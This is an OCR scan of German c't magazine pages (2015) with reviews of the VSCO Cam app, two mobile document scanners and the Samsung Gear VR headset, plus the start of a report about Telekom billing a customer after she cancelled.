zeit oder ISO-Wert lassen sich manue l l  e in­
stel len .  

Neben Werkzeugen zum Anpassen von 
He l l i gkeit, Kontrast, Be l ichtung,  Weißab­
g leich und Schä rfe bis h in  zur  Fe inkorrek­
tu r  von Schatten und  L ichtpunkten hä l t  
d ie  kosten lose App auch e ine breite Pa let­
te an ansehn l ichen F i ltern in Form von ln ­
App-Käufen bereit . Auf Wunsch ahmt  s ie  
d ie  Ästhet ik  von ana logem F i lmmater ia l  
nach .  Vers ion 4 l äuft i n  vo l l e r  Auflösung 
auf dem i Pad und zeigt auf d iesem zusätz­
l i ch  d ie  Effekte versch iedener F i l ter a l s  
Vorschau an .  

Zu jedem Foto bewahrt VSCO Cam sämt­
l iche Bea rbeitungssch ritte auf; s ie lassen 
s ich e inze ln ändern oder rückgäng ig ma­
chen. Über e ine hauseigene C loud-P iatt­
form kann  der Nutzer die B i lder zwischen 
Geräten synchron isieren - samt vol lständi­
gem Bea rbeitungsver lauf. 

VSCO Cam dient obendrein dem Nach­
bearbeiten von Fotos, d ie  n icht mit dem 
iPhone, sondern beispielsweise einer DSLR 
aufgenommen wurden. I m- und Export 
s ind in vol le r  Auflösung mögl ich, Raw wi rd 
aber nicht unterstützt. Wer mag, kann  d ie 
Ergebnisse auf P lattformen wie l nstagram 
oder  Facebook veröffent l ichen. 

Die Bed ienoberfläche erfordert E ina rbei­
tung; eine I nteg ration der F i l ter als Erweite­
rung in Apples Fotos-App haben wir ver­
misst - d iese ist derzeit in  Arbeit. 

(Leo Becker/se@ct.de) 

VSCO Cam 4.0.3 
Kamera· und Bildbearbeitungs·App 

Herstel ler Visual Supply Company, vsco.co 
Systemvoraussetzung iOS ab 8.0 
Preis kostenlos (Filter als ln-App-Kauf) 
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Prüfstand I Mobi l-Scanner 

Rudolf Opitz 

Taschen leser 
Doku menten-Sca n ner fü rs mobi le  B ü ro 

Die kompakten Einzugsscanner  Ca non imageFormula  
P-2081 1  und Fuj itsu ScanSnap iX1 00 dig ital isieren auch 
unterwegs Akten und Verträge in  Profiqual ität und 
speichern s ie  a ls  du rchsuch bare PDFs. 

W er  Dokumente beim Kun­
den oder in  der Uni-Bib l io­

thek scannen muss, kann  das a l l ­
gegenwä rtige Smartphone zü­
cken und das Sch riftstück abfo­
tog rafieren. A l le rd ings braucht 
man fü r brauchba re Ergebnisse 
eine ruh ige Hand und gutes 
Licht. Mobi le E inzugsscanner di­
gita l isieren dagegen ohne Schat­
ten, Grauschle ier und unscha rfe 
Bereiche: Die Qua l ität b le ibt 
stets g leich und eignet sich gut 
fü r Texterkennungsprogramme. 

U nsere beiden Scanner im 
Test, der Canon imageFormu la  
P-208 1 1  und der ScanSnap iX1 00 
von Fujitsu, passen in e ine Ak­
tentasche und brauchen kein se­
pa rates Netztei L Die Energiever­
sorgung übernimmt das via USB­
Kabel angesch lossene Note­
book. Beim ScanSnap iX1 00 wi rd 
darüber auch der fest eingebau­
te Akku geladen. Äußer l ich äh­
ne ln sich beide Geräte, in  puncto 
Ausstattung und Bedienung g ibt 
es jedoch vie le Unterschiede. 
Der g rößte Unterschied:  Der 
Canon P-208 1 1  kommuniziert mit 
dem Notebook nur via USB­
Kabel, der Fuj itsu iX1 00 kann  
Scans wah lweise auch  pe r  WLAN 
an PCs und  Smartphones über­
tragen und arbeitet so im Akku­
Betrieb völ l ig  kabel los. 

72 

Ca non imageForm ula 
P-208 1 1  

Der  knapp 600 Gramm schwere 
P-208 1 1  digita l i siert mit zwei Scan­
zei len in einem Durchgang beide 
Seiten der Scanvorlage (Duplex­
Scan) .  Zum Einschalten klappt 
man den Vorlageneinzug herun­
ter. Dieser n immt auch Stapel von 
zehn Blättern entgegen. Mittig im 
E inzug sitzt e ine Andruckfeder, 
d ie man zur Positionskorrektur 
anheben kann .  Der Canon-Scan­
ner zieht Vor lagen gerade nach 
hinten du rch, wesha l b  man mit 
ihm auch d ickere Fotopappen 
scannen kann. 

Ohne USB-Verbindung kommt 
er - zumindest fü r d ie Stromver­
sorgung - nicht aus .  Die Daten­
übertragung kann ein optionales 
WLAN-Modu l  fü r happ ige 1 60 
Euro übernehmen. Damit scannt 
er dann auch auf Mobi lgeräte mit 
Android oder iOS und der Gratis­
App "Captu reOnTouch Mobi le". 

Als Bed iene lemente fi ndet 
man nur  die große Scantaste und 
einen Auto-Sta rt-Scha lter auf der 
Rückseite. Steht dieser auf "On", 
g ibt der P-208 1 1  beim Anschl ie­
ßen via USB seinen i nternen 
F lash-Speicher als Laufwerk frei .  
Auf d iesem startet die Windows­
und  d ie  Mac-OS-Vers ion des 

Sca nprog ramms "Ca ptureOn­
Touch Lite". Wei l  d ie  Softwa re 
beim Start nicht i nsta l l iert wird, 
kann  man den Scanner auch an 
fremden PCs einsetzen, ohne das 
Scanprogramm h interher wieder 
deinsta l l i eren zu müssen. 

Beim Betr ieb am eigenen 
Notebook mit i nsta l l i e rten Trei­
bern sol lte der Schalter auf "Off" 
stehen .  Die übersicht l iche Soft­
ware Captu reOnTouch ste l l t  Pro­
fi le fü r Vorlagena rten und Scan­
ziele bereit. Eigene Profi le  lassen 
sich h inzufügen oder vorhande­
ne bearbeiten - dazu reicht e in 
Kl ick auf das Stift-Symbol .  Das 
Prog ramm Presto BizCard er­
kennt gescannte Vis itenka rten 
und pflegt d ie Kontakte i n  e ine 
Ad ress l i ste ein, d ie man i n  Out­
look, Lotus Organ izer oder GMai l  
exportieren kann .  Die zugehöri­
ge Texterkennung (OCR) funktio­
niert nu r  mäßig, sodass man viel 
nachbea rbeiten muss. 

Für den eigentlichen Scanvor­
gang brauchte der Canon P-2081 1  
etwas länger a ls  der Fujitsu-Scan­
ner, glich dies jedoch bei beidsei­
tig bedrucken Vor lagen du rch 
seine Dup lex-Fäh igkeit mehr a l s  
aus .  Auch der  gute Vorlagenein­
zug gefiel :  Zehn Blatt Norma lpa­
pier mit 80g/m2 bereiteten ihm 
keine Probleme - auch geknickte 
Vorlagen nicht. Die Scans zeigten 
sauberen Schwarz-auf-Weiß-Text 
und Farbgrafiken mit gutem Kon­
trast. Nu r  bei dünnerem Papier 
neigte der Scanner zum Schräg­
einziehen. 

Schwarzweiß-Scans von Text 
auf Farbpapier waren gut lesbar, 
wenn wir die Hel l igkeit auf Maxi­
mum stel lten und "Hinterg rund 
entfernen" aktivierten. Die in Cap­
tureOnTouch integrierte OCR a r­
beitete schnel l ,  aber sehr sch lud­
rig: In itia le wurden nicht erkannt, 
schon im F l ießtext fanden wir 
vertauschte Buchstaben und Zah-

len, sogar die Überschrift unserer 
Tabel lenvor lage war fehlerhaft 
("Prüfstand Yol l textsu rce"). 

Gute, deta i l reiche Foto-Scans 
erhie lten wir bei aktiviertem Fi l­
ter "Für Fotos geeignete Korrek­
turen anwenden", a l lerdings fehl­
te etwas Rot. 

Fuj itsu ScanSnap iX1 00 

Anders a l s  der Canon-Scanne r  
kann  de r  m i t  41 1 Gramm recht 
leichte ScanSnap iX1 00 nu r  eine 
Seite der Vorlage pro Durchgang 
scannen (Simplex-Scan). Sein Ein­
zug nimmt nur Einzel blätter an .  
Auch der iX1 00 zieht Vorlagen 
norma le rweise gerade du rch; 
k lappt man die obere Plast ikab­
deckung nach h i nten, werden 
die gescannten Vorlagen nach 
oben umgelenkt. 

Zwei LEDs vor der beleuchte­
ten Scantaste melden den Zu­
stand von WLAN und Akku . Das 
WLAN lässt s ich über einen Schal­
ter auf der Rückseite abscha lten, 
da neben l iegt  die WPS-Taste. 
Der ScanSnap iX1 00 sucht nach 
dem Einschalten nach bekannten 
WLANs. F indet er keine, wechselt 
er in  den Di rekt-Modus, in  dem er 
ein eigenes WLAN aufspannt. Die 
Zugangsdaten stehen auf der 
Unterseite des Scanners. 

Zum erstma l igen Verbinden 
mit einem WLAN braucht der 
iX1 00 zwingend eine USB-Verbin­
dung zum PC und ein Assistenz­
Programm. Die Zugangsdaten 
werden di rekt im Scanner gespei­
chert - und leider auch Daten des 
PC: Wi l l  man von einem anderen 
PC im selben Netzwerk aus scan­
nen, hagelt es Fehlermeldungen. 
Dann bleibt nur, den Scanner zu­
rückzusetzen und d ie WLAN­
Kopplung auf dem zweiten PC er­
neut auszuführen. 

Die kosten lose App ScanSnap 
Connect fü r Andro id und  iOS 
empfängt Scans, speichert sie a ls 
JPEG oder PDF oder reicht sie an 
andere Apps weiter . Anders a l s  
be i  PCs kommuniziert der iX1 00  
problemlos mit verschiedenen 
Smartphones, zumal man unter­
wegs meist den Di rekt-Modus 
fü r d ie  Verb indung zum Mobi l ­
gerät benutzt, da man sie ohne 
PC-Hi lfe e in richten kann .  

Am PC arbeitet der iX1 00 nur  
mit der ScanSnap-Softwa re zu­
sammen - P l ug- in-Modu l e  wie 
Twain  oder WIA fü r Anwendun­
gen wie Photoshop oder Doku­
mentenmanager feh len .  Statt 
wie üb l ich zuerst ein Profi l mit 
Scanparametern und Ziel auszu-
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Prüfstand I Mobi l-Scanner 

Mobile Dokumenten-Scan ner 
Modell 

Herstel ler 
imageFormula P-208 1 1  

Canon, www.canon.de 
ScanSnap iXl 00 

Fujitsu, www.fujitsu.com/emea/ 
products/ 

Scantechnik Dual-CIS 
maximale optische Aufiösung 600 dpi 
Scanbereich maximal1 216 mm x 356 mm 
Scanbereich minimal1 70 mm x 50,8 mm 
Vorlagengewicht 1 52 g/m2 . . .  209 g/m2 
Vorlageneinzug I Duplex-Scan 1 0  Blatt I v 

nur über PC 

CIS 
600 dpi 

216 mm x 863 mm 
25,4 mm x 25,4 mm 
52 g/m2 . . .  209 g/m2 
1 Blatt / -
nur über PC oder App Scannen an E-Mail, Cloud 

Scannen an Mobilgerät 

Schnittstelle 
- (nur mit optionaler Wi-Fi-Box) 
USB 2.0 (mini-USB) 

v ScanSnap Conne<t (Android, iOS) 
USB 2.0 (micro-USB), WLAN ( IEEE 
802.1 1 n, 2,4 GHz) 

Abmessungen (B x T x H) 
Gewicht 

3 1 ,2 cm x 5,6 cm x 4  cm 
591 g 

27,5 cm x 4,8 cm x 3,6 cm 
41 1 g 

via USB Stromversorgung 
Bemerkungen Wi-Fi-Box WU10  optional erhältlich 

für rund 1 65 € 

via USB, interner Akku (720 mAh) 
CDF (Continuous Document Feeding, 
fortlaufendes Scannen) 

Treiber für 
TWAIN / WIA / ISIS 
OCR 

Windows ab XP SP3; OS X ab 1 0.7.S 
v / v iv 

Windows ab XP; OS X ab 1 0.7 
- 1 - 1 -

v (integriert) v (integriert) 
Software für Mac OS CaptureOnTouch Vers .3, Capture 

On Touch Lite (auf Geräte-Speicher), 
Presto BizCard Reader 7 

ScanSnap Manager, $(anSnap 
Organizer, CardMinder, ABBYY Fine 
Reader für ScanSnap 

Software für Windows CaptureOn Touch Vers. 3, Capture 
On Touch Lite (auf Geräte-Speicher), 
Presto BizCard Reader 6 

ScanSnap Manager, $(anSnap 
Organizer, CardMinder, ABBYY Fine 
Reader für ScanSnap 

PDF, JPG, T IFF, BMP PDF, JPG 
- I - - I -

Ausgabeformate Scansoftware 
Blindfarbe I Schwellen-Regler 
Bewertung 

Scangeschwindigkeit (A4) Simplex 300dpi: 12 s, 600 dpi: 59 s, 
Duplex 1 0  Blatt (20 Seiten) : 1 05 s 

Simplex 300dpi: 9 s, 600 dpi: 30 s, 
Duplex 10 Blatt (20 Seiten): -

Netzwerkfunktionen 

Softwareausstattung 
Scanqual . Text I Grafik I Foto 
OCR-Qualität (integriert) 
Herstel ler -Garantie 
Preis (UVP I Straße) 

1 Herstel lerangaben 

- (optional) 

0 
® 1 ®® 1 0 
ee 
2 Jahre Bring-in 
240 € / 200 € 

0 
® 
®® / ® / 8 
0 
1 Jahr Austauschservice 
290 € / 220 € 

®® sehr gut ® gut 0 zufriedenstel lend e schlecht 00 sehr sChlecht 
v vorhanden - nicht vorhanden k. A. keine Angabe 

wäh len, scannt ScanSnap zuerst 
und bietet dann Optionen, was 
mit dem Ergebnis geschehen 
so l l .  Die Parameter wäh l t  der 
Scanner  anhand der  Vor lagen 
automatisch aus, a lternativ kann 
man auch feste Vorgaben e in­
ste l len .  Wie d ie App kennt 
ScanSnap nu r  d ie Formate JPEG 
und PDF. 

Der iX l  00 sca nnte a m  PC 
etwas schnel ler als das Canon­
Model l ,  die Ergebnisse waren ein­
wandfrei und zur besseren Les­
barkeit nachgeschärft Die einge­
baute OCR machte deutl ich weni­
ger Fehler als die von Canon. 
Außerdem l iefert Fujitsu den leis­
tu ngsfä h igen F i neReader  von 
Abbyy als OCR-Alternative mit. 

Für gut lesbare Schwarzweiß­
Scans vom Farbpapier ste l l t  man 
d ie maximale He l l igkeit e in und 
aktiviert " Textkontrast erhöhen". 
Bei Fotos l ieferte der iXl 00 blas­
se Fa rben, dunkle Bereiche zeig­
ten kaum Deta i l s  - er ist fü r Do­
kumente optimiert. 

c't 20 1 5, Heft 5 

Das Visitenka rten-Prog ramm 
"Ca rdMinder" funktion ierte gut. 
Die Datenbank benutzt vor­
e ingeste l l t  das Out look-Format, 
wah lweise auch Excel, Act!, Gold­
mine und Salesforce CRM. Nach­
bea rbeitung von Ad ressen wa r 
hier kaum nötig. 

Fazit 

Beide Scanner  sprechen unter­
sch iedl iche Zie lgruppen an: Wer 
e inen le istungsfäh igen Scanner  
fü r se in  mobi les Büro braucht, ist 
mit dem robusten Ca non image­
Formu la  P-208 1 1  besser bedient. 
Er scannt Vorder- und Rückseite 
in  einem Rutsch, man sol lte aber 
e ine bessere OCR-Softwa re h in­
zukaufen. 

Wer ein leichtes Gerät zum di­
rekten Scannen aufs Smartphone 
sucht, dü rfte den akkubetrie­
benen Fujitsu ScanSnap iXl 00 
bevorzugen. Die WLAN-Verbin­
dungsaufnahme ist a l lerdings un­
nötig kompl iziert. (rop@ct.de) c't: 
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Prüfstand I Virtual  Rea l ity 

D ie Ocu lus  Ritt DK2 mag d ie 
zu rzeit beste erhält l iche Vir­

tua i-Rea l ity-Bri l l e  sein - aber es 
ist eben auch ein Entwicklerge­
rät, dessen Ergonomie und Be­
dienkomfort zu wünschen übrig 
lässt. Vor a l lem das Hin- und Her­
geschalte zwischen VR- und 2D­
Da rste l l ung nervt, ganz zu 
schweigen vom Kabelsalat Zwei­
mal USB, e inmal HDMI und oben­
d rein noch eine Strippe fü r d ie 
Trackingkamera. 

Der Aufbau der von Samsung 
gemeinsam mit dem Ritt-Her­
ste l l e r  Ocu lu s  VR entwickelten 
Gea r VR fl uppt dagegen wie am 
Schnü rchen:  Ga laxy Note 4 in 
den USB-Stecker der Bri l l e  d rü­
cken und schon sta rtet d ie Gea r­
VR-App. ln der virtue l len Weit 
kann  man s ich umsehen wie i n  
der echten: D ie  Bri l l e  erkennt d ie  
Kopfbewegungen und passt das 
Bi ld entsprechend an. Die ge­
samte Bedienung findet in  d ieser 
VR-U mgebung statt: Um e ine 
App herunterzu laden oder zu 
starten, muss man einfach auf 
d ie gewünschte App-Kachel gu­
cken und mit einem Ti pp aufs 
Touchpad bestät igen. Das Pad 
ist an  der rechten Seite der Bri l l e  
e ingebaut, neben Antippen re­
g istriert es auch Wischbewegun­
gen i n  a l le  v ier  Richtungen.  Zu-
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Jan-Keno Janssen 

Kopfkino 
Sa m s u n g  Gea r  VR i m  Test 

Die Virtua i-Real ity-Br i l le  Gear VR müsste 
theoretisch deutl ich sch lechter sein a ls  
d ie Ocu lus Rift: Sch l ieß l ich hängt statt 

e inem ausgewachsenen PC nur  e in Handy 
d ran.  Ü berraschenderweise ist die trans­

portable Br i l le  aber zu m Tei l  sogar 
ü berlegen. 

sätzl ich g ibt es e inen mechani­
schen Zurück-Knopf. 

N u r  mit Galaxy N ote 4 
Der g rößte Abtörner der Gea r VR 
ist g leichzeit ig auch der  g rößte 
Trumpf: Das Br i l l engehäuse 
funkt ion iert zu rzeit a ussch l ieß­
l ich mit dem 650 Eu ro teuren 
Samsung-Phablet Ga laxy Note 4 
- andere Smartphones passen 
schon mechanisch nicht ins  Ge­
häuse, ganz zu schweigen von 
der technischen I nteg ration .  Die 
Bri l l e  dient näml ich n icht nur -
wie bei a nderen Smartphone­
VR-Gehäusen wie Du ravis Dive 
oder Goog le  Cardboard - aus­
sch l ieß l ich als Ha lter fü r die Lu­
pen l i nsen, sondern es s ind ne­
ben den Bed ienelementen auch 
noch zusätz l iche Sensoren fü rs 
Headtracking e ingebaut .  Laut  
Ocu l u s  VR l i efern d ie  Sensoren 
i n  der Gear VR zehnma l  so häu­
fig Daten wie d ie  Gyroskope i n  
konventione l len  Smartphones :  
1 000 statt 1 00 Hz.  

Im Verg leich zu e inem Nexus S 
in einem Cardboard-Gehäuse ge­
l ingt der Gea r VR damit tatsäch­
l ich ein deutl ich geschmeidigeres 
Headtracking - außerdem kön­
nen wir eine deutl iche geringere 
Drift konstatieren. Das zusätzl iche 

Positionstracking der DK2 fehlt in 
der Gea r VR a l lerd ings, man kann 
sich a lso nicht nach vorne neigen. 
Die Kamera des Note 4 lässt sich 
zwar von VR-Apps ansteuern, s ie 
wird aber bis lang nicht fü r Posi­
t ionstracking verwendet. 

Das B l ickfe ld der Gea r VR ist 
zwar g rößer als das von anderen 
Smartphone-Gehäusen wie Goo­
gle Cardboard, aber kle iner a l s  
da s  de r  Ritt DK2. Dafü r bietet d i e  
Gea r e in  Drehrädchen fü r d ie  
Dioptrieneinste l lung .  Auch wenn 
sich d ie beiden Linsen nicht un­
abhäng ig anpassen lassen, wa r 
e in Ko l lege mit -4,5 und  -S,75 
Dioptrien zufrieden mit der Bi ld­
schä rfe. Die Gea r VR lässt s ich 
aber auch einigermaßen ange­
nehm über e iner Bri l l e  tragen. 

Die i n  vie len I nternet-Foren 
diskutierten H itzeprobleme s ind 
bei unserem Testgerät zumin­
dest ohne d ie sowieso nutzlose 

Kunststoff-Abdeckung nicht auf­
getreten. 

Für d ie  Softwa re-I ntegration 
zeichnet unter anderem Ent­
wickler-Legende John Carmack 
(Wolfenstein, Doom, Quake) ver­
antwort l ich. Samsung habe i hm 
(und dem Mobi le-SDK) Low­
Levei-Zugriff auf die CPU (Snap­
d ragon 80S) und GPU (Ad reno 
420) des Smartphones gewährt, 
erklä rte Carmack im Gespräch 
mit c't . Sch l ieß l ich müsse das 
System permanent 60 Bi lder pro 
Sekunde l iefern, ansonsten bre­
che der Mittendr in-Effekt zusam­
men. Wie i n  der  Rift-DK2-Bri l l e  
steckt im Note 4 e in OLED-Dis­
p lay, das im "Low-Persistence"­
Modus angesteuert wird: Jedes 
Frame ist nur fü r wenige Mi l l ise­
kunden zu sehen, den Großtei l 
der Zeit b le ibt das B i ld schwarz. 
Das verhindert sehr wirkungsvo l l  
den häss l ichen Nachzieh-Effekt, 
den man bei der DK1 noch deut­
l ich sehen konnte. A l le rd ings 
ta ktet das Note-4-Disp lay nu r  
m i t  60  Hertz, a l so m i t  1 5  Hertz 
weniger a l s  das der DK2. Extrem 
sensib le Menschen könnten bei 
der Gea r VR also e in F l immern 
wahrnehmen, im Test fie l  es je­
doch keinem der c't-Tester auf. 

E in kla rer Vortei l  der Gear VR 
gegenüber der DK2: Mit 2560 x 
1 440 Pixe ln  hat das Display fast 
80 % mehr B i ldpunkte a l s  der 
Fu i i -HD-Bi ldschirm der Ocu lus  
Rift DK2. Die höhere Pixe ld ichte 
macht sich besonders in den de­
ta i l l ierten Rundum-Fotos der 
App "Ocu lu s  360 Photos" be­
merkba r. Leider ist der F l iegen­
g ittereffekt ähn l ich ausgeprägt 
wie bei der DK2 - die Pixel s ind 
zwa r kle iner, d ie  Lücken dazwi­
schen aber nicht. Leider ebenfa l l s  
be i  beiden Bri l len g leich: d ie Bi ld­
fehler du rch chromatische Aber­
rationen. 

Softwa re satt 

Aber genug an der Ha rdwa re 
herumgemeckert: Die Gea r VR 
macht trotz nicht perfekter B i ld­
qua l ität extrem viel Spaß, und 
das l iegt vor a l lem an  der über-

Apps fü r die Gear 
VR kauft und 
wählt man durch 
Kopfbewegungen 
aus - soba ld man 
das Note 4 an  die 
Br i l le steckt, läuft 
die komplette 
Bedienung in der 
virtuel len Rea l ität. 
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Prüfstand I Virtual  Rea l ity 

Samsung Gear VR 
innovator Edition 
Virtuai-Reality-Brille fürs 6alaxy Note 4 

Herstel ler Samsung (in Zusammenarbeit 
mit Oculus VR) 

Systemanf. Samsung Galaxy Note 4 
mit Snapdragon-CPU1 

Laufzeit' Rund 3,5 Stunden 
Gewicht 528 g (inkl. Smartphone) 
Preis 200 € 
1 1n Deutschland wird offiziel l nur die 
Snapdragon-Version des Note 4 verkauft 
(SM-N91 0F), inoffizielle Importe arbeiten aber 
womöglich mit Exynos-CPU (SM-N91 0C) 

2 Enmittelt in Kino-App Oculus Cinema 

zeugenden Software. Besonders 
der App-Launcher trägt dazu bei, 
dass sich die Bri l l e  wie ein Con­
sumer-Produkt anfüh lt . Auf der 
Hauptseite sind stets d ie  sechs 
zu letzt verwendeten Apps zu 
sehen, a l l e  anderen fi ndet man 
i n  der "L ibrary". Etwas verwir­
rend: Es g ibt getrennte Ocu l us­
und Samsung-App-Stores, d ie  
komplett identisch aussehen. 
Bis lang muss man fü r keine ein­
zige App bezah len .  VR-Apps aus 
Googles P lay Store (fü r Card­
board und Co.) laufen nicht auf 
der Gea r VR. 

Zu Redaktionssch l uss haben 
wir i nsgesamt 37 verfügba re 
Gea r-VR-Apps gezäh lt, a l l e  mit 
du rchgängig hoher Qual ität. Für 
d ie DK2 ist zwar deut l ich mehr 
Software verfügbar, meist han­
delt es sich aber um schne l l  zu­
sammenprogrammierte Klei nst­
Demos. Spiele machen ungefähr  

die Hä lfte der Gear-VR-Apps aus, 
die andere Hä lfte sind sogenann­
te "Experiences", a lso zum Bei­
spiel vi rtue l le  Spaziergänge 
du rch chinesische Tempel oder 
Tauchgänge im Meer. Während 
diese "Er lebnisse" sowie al le Spie­
le mit Computerg rafi k  rea l i siert 
s ind, g ibt es auch etl iche ku rze 
360-Grad-Videos mit Rea lfi lmma­
teria l  - unter anderem kann man 
in  einem Hubschrauber über ls­
land fl iegen oder zusammen mit 
Pau l  McCa rtney auf der Bühne 
stehen. Die Rundumvideos s ind 
leider übera l l  verstreut: Einige ste­
cken in einze lnen Apps, andere 
sind in  Ocu lus' "360 Videos" und 
in Samsungs Milk VR zu finden. Ei­
gene 360-Grad-F i lmchen lassen 
sich theoretisch sowohl in "360 Vi­
deos" a ls  auch in Mi lk VR abspie­
len - problemlos hat das im Test 
a l lerdings nu r  mit "360 Videos" 
geklappt. Mi l kVR benötigt neben 
der MP4-Videodatei näml ich eine 
angepasste .json-Datei mit Me­
ta informationen - uns gelang es 
du rchs Ed itieren von vorhande­
nen .json-Dateien nicht, das rich­
tige Seitenverhältnis einzustel len. 
Schade, denn nur mit Mi lk VR 
kann man vor- und zurückspulen. 

Mit der sehr ge lungenen App 
Ocu lu s  Cinema lassen sich kon­
ventione l le  2D- oder 3D-Video­
dateien abspie len - e ine Rund­
umsicht hat man damit  den­
noch, denn d ie App simu l iert e in 
He imkino-Wohnzimmer, e inen 
Kinosaa l  oder e in "Autokino" auf 

Die Gea r VR hat a ls  einzige Bedien­
elemente ein Touchpad und einen 

Zurück-Knopf eingebaut. Viele Apps 

dem Mond. Fi lme gucken macht 
damit g roßen Spaß - besonders 
im Zug oder F l ugzeug.  E in Wer­
mutstropfen ist a l le rd ings d ie  
geringe Auflösung des  Disp lays. 

Fazit 

Die Gea r VR ist das erste vo l l ­
wertige Virtua i-Rea l ity-Gerät, das  
auch N icht-Nerds i n  Gang setzen 
können .  Das E intauchgefüh l  ist 
deut l ich besser a l s  Smartphone­
VR per Pappbri l l e  und  kann  
soga r m i t  de r  Ocu lu s  Rift DK2 
mitha lten.  Abstriche muss man 
dennoch machen,  vor  a l lem 
haben wir das Positionstracking 
vermisst. Grafisch sehen d ie  
Gea r-VR-Apps tol l aus, viele Apps 
kann  man nur mit Mühe von 
i h ren Ocu l u s-Rift-Pendants un­
terscheiden. Trotzdem: E in fetter 
Gaming-PC bietet natür l ich e ine 
höhere Grafi kle istung a l s  e in  
Smartphone. 

Dafür bietet die Gear VR kabel­
losen VR-Spaß mit einfacher Be­
d ienung und hochwertigem 

lassen sich aussch l ießl ich 
damit steuern, andere 

erfordern ein B luetooth­
Gamepad. 

App-Angebot. Bis lang g ibt es al­
lerdings nur  37 Titel, viele davon 
Demos - wir hoffen, dass das An­
gebot schne l l  g rößer wird. Die 
F rage ist nu r: Verkauft sich 
das teure Tei l  (650-Eu ro-Note-4-
Smartphone p lus 200-Euro-Bri l l e) 
gut genug, damit sich die Arbeit 
an Gea r-VR-Apps fü r Entwickler 
lohnt? Dass d ie Bri l l e  nicht mit 
anderen Smartphones funktio­
niert, ist fü r den Markterfolg ein 
g roßes H indernis .  Gle ichzeitig 
bietet der Fokus aufs Note 4 Vor­
tei le :  Ähn l ich wie bei Spie lkon­
solen können Entwickler ih re 
Software nu r  auf e ine einzige 
Ha rdware-Plattform optimieren, 
müssen weniger Kompromisse 
eingehen und haben einen deut­
l ich ger ingeren Test-Aufwand.  
Ob künft ige Samsung-Smart­
phones wie Galaxy 56 oder Ga­
laxy Note 6 Gea r-VR-kompatibel 
sein werden, steht noch i n  den 
Sternen - Gerüchte dazu fi ndet 
man zwar bereits im Netz, bestä­
tigen wi l l  sie Samsung nicht. 

(jkj@ct.de) 

Die Gear-VR-Liebl ingsspiele der c't-Redaktion 

23 Spie le wa ren be i  Redaktionsschl uss i n  den Gea r-VR-App-Stores 
zu fi nden - die meisten davon eher im Appetithäppchen-Umfang, 
viele Titel sind auch schl icht noch nicht fertig .  Die meisten Spie le 
steuert man a l le ine mit Kopfbewegungen und dem in der Bri l l e  

e ingebauten Touchpad, fü r e in ige benötigt man zwingend einen 
B luetooth-Gamecontro l ler. Samsung verkauft fü r 30 Euro ein 
"offizie l l es" Gamepad, getestet haben wir d ie Bri l l e  mit einem 
Nyko P layPad Pro fü r 25 Euro. Unsere d rei Favoriten: 

Das innovative Strategiespiel Darknet zeigt, 
das VR auch für ungewöhn l iche Konzepte 
geeignet ist. Als körperlose Entität fl iegt 
man durch eine Matrix vol ler Netzknoten 
und versucht, diese mit Viren zu kapern. 
Kl ingt seltsam, macht aber schnel l  süchtig. 
Übrigens: Darknet ist der Nachfolger des 
Rift-Spiels Ciess. 
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Der popu läre End less Runner Tem ple Run 
macht i n  der VR-Version noch mehr Spaß 
a l s  i n  den Smartphone- und Tablet-Va rian­
ten - lässt aber auch d ie Adrena l inpumpe 
rattern: Man meint förml ich, den Atem 
der fiesen Verfolger (Dämonenaffen !) im 
Nacken zu spüren. 

Das erste von Ocu lus  VR entwickelte Spiel 
wirkt wenig spektaku lä r. l n  Herobound:  
F irst Steps bolzt s ich ein kle iner He ld 
du rch Gegnerhorden und sammelt Dia­
manten. Das Besondere ist d ie Perspektive: 
Man schaut nicht du rch die Augen des 
Protagon isten, sondern von schräg oben 
auf d ie Szenerie. 

c't 
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Report I Service & Support 

U rs Mansma n n  

Rech n u ngs-Sta I ker 
sch luss  noch bis zum Wechseltermin nut­
zen." Und am 1 4. November traf schon wie­
der e ine Künd igungsbestätigung e in .  Jetzt 
füh rte d ie Telekom Kosten von 6,92 Euro fü r 
d ie Mitnahme einer Ei nzel rufnummer auf. 

Nach so vie len Bestätigungen konnte ja 
eigentl ich n ichts mehr schiefgehen, dachte 
Renate M. Am 2. Mai packte sie den gemiete­
ten Funk-Router ein und schickte ihn  wie ver­
langt an die Telekom zurück. Am 9. Mai traf 
die fünfte Kündigungsbestätigung e in .  Dies­
mal fü r die S IM-Ka rte, deren Vertrag aus un­
erfind l ichen Gründen erst zum 1 4. Mai enden 
so l l te. l n  e iner handsch rift l ichen Notiz wies 
s ie darauf h in, dass der zugrunde l iegende 
Vertrag bereits Ende Apr i l  a usgela ufen wa r 
und faxte d ie Bestätigung zurück. 

Telekom i g n o riert Kü n d i g u ngen 

Eigentl ich ist d ie  Sache ganz  einfach: M i t  dem Ende  eines Vertrags endet 
auch die Zah lungspfl icht. Doch bei Renate M. zeigte sich die Telekom sehr 
anhäng l ich und wol lte einfach n icht aufhören, Rech nungen zu ste l len.  

A nfang März 201 2 wol lte Renate M. endl ich 
mehr Tempo für ihren l nternetzugang. Im 

kleinen schwäbischen F lecken Wüstenrot war 
das DSL-Angebot jedoch unzureichend. Des­
ha lb beste l l te sie bei der Telekom das L TE­
Paket "Ca l l  & Surf Comfort via Funk". Am 
4. Mai erfo lgte die F reischa ltung und zunächst 
war sie mit der Leistung durchaus zufrieden. 

Im Laufe der Zeit wurde der Zugang aber 
immer langsamer. l n  den Abendstunden fühl­
te sie s ich an die a lten DSL-I ight-Zeiten erin­
nert. in  denen die Daten eher aus der Leitung 
tröpfelten denn flossen. Nach nur einem Jahr 
hatte s ie genug und kündigte. Im  Kündi­
gungsschreiben vom 7. Mai 201 3 bemängelte 
sie die vielen Abbrüche und die insgesamt 
"miserable Qual ität" des Zugangs. Als darauf­
h in  keine Reaktion erfolgte, schickte s ie am 
25 .  Ma i  e i n  weiteres Schreiben hinterher und  
bat um schrift l iche Bestätigung des  Eingangs. 

Am 7. Juni traf die Kündigungsbestätigung 
der Telekom ein, i h r  Vertrag werde zum 
30.  Apri l 201 4 enden.  Die Qual ität des L TE-Zu-
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gangs sank unterdessen weiter. Im Septem­
ber war nach Messungen der Kundin im 
Downstream dauerhaft eine Daten rate von 
nur noch 400 kBit/s und 50 kBit/s im Upstream 
zu verzeichnen. Mit Verweis auf e in 

Am 3 .  Mai traf e ine Rechnung fü r den Ab­
rechnungszeitra um vom 1 .  bis 3 1 . Mai  e in .  

Dar in berechnete d ie  Telekom den An-
U rtei l des Amtsgerichts Fü rth ver­
langte sie am 1 8. September eine so­
fortige Aufhebung des Vertrags. 
Laut d ieser Entscheidung (Az. 
340 C 3088/08) steht dem Kunden 
